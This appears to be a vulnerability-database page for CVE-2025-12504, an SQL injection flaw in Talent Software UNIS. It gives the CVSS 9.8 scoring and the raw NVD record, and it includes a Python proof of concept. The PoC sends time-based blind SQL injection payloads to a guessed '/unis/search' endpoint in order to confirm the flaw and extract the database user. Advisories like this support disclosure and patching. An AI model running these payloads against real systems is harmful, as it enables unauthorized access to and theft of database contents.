Security Vulnerability Report
中文
CVE-2025-12504 CVSS 9.8 CRITICAL

CVE-2025-12504

Published: 2025-12-09 16:17:34
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Talent Software UNIS allows SQL Injection.This issue affects UNIS: before 42321.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Talent Software UNIS < 42321

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12504 SQL Injection PoC for Talent Software UNIS # Target: Talent Software UNIS before version 42321 # Vulnerability: SQL Injection in database query handling import requests import sys def exploit_sql_injection(target_url): """ SQL Injection PoC for CVE-2025-12504 This PoC demonstrates time-based blind SQL injection """ # Target endpoint (example - adjust based on actual enumeration) # Common endpoints that might be vulnerable: # /unis/search, /unis/query, /unis/report, /unis/export vulnerable_endpoint = f"{target_url}/unis/search" # Time-based blind SQL injection payload # This payload uses SLEEP() function to confirm vulnerability # The response time will increase if injection is successful normal_payload = { "search_term": "test", "category": "users" } # SQL injection payload - extracts database version sql_injection_payload = { "search_term": "test' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE SLEEP(0) END) AND '1'='1", "category": "users" } # Extract database user payload db_user_payload = { "search_term": "test' AND (SELECT CASE WHEN (SUBSTRING((SELECT user()),1,1)='r') THEN SLEEP(5) ELSE SLEEP(0) END) AND '1'='1", "category": "users" } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerable endpoint: {vulnerable_endpoint}") # Test 1: Normal request (baseline) print("\n[+] Test 1: Sending normal request...") try: response = requests.get(vulnerable_endpoint, params=normal_payload, timeout=10) print(f"[*] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Test 2: SQL injection test print("\n[+] Test 2: Testing SQL injection with time-based blind technique...") try: response = requests.post(vulnerable_endpoint, data=sql_injection_payload, timeout=15) print(f"[*] Response time indicates: {'VULNERABLE' if response.elapsed.total_seconds() > 4 else 'NOT VULNERABLE'}") except requests.exceptions.Timeout: print("[!] Request timed out - SQL injection likely successful") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Note: This PoC is for authorized security testing only") print("[*] Always obtain proper authorization before testing") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12504.py <target_url>") print("Example: python cve-2025-12504.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12504", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:34.077", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Talent Software UNIS allows SQL Injection.This issue affects UNIS: before 42321."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0435", "source": "[email protected]"}]}}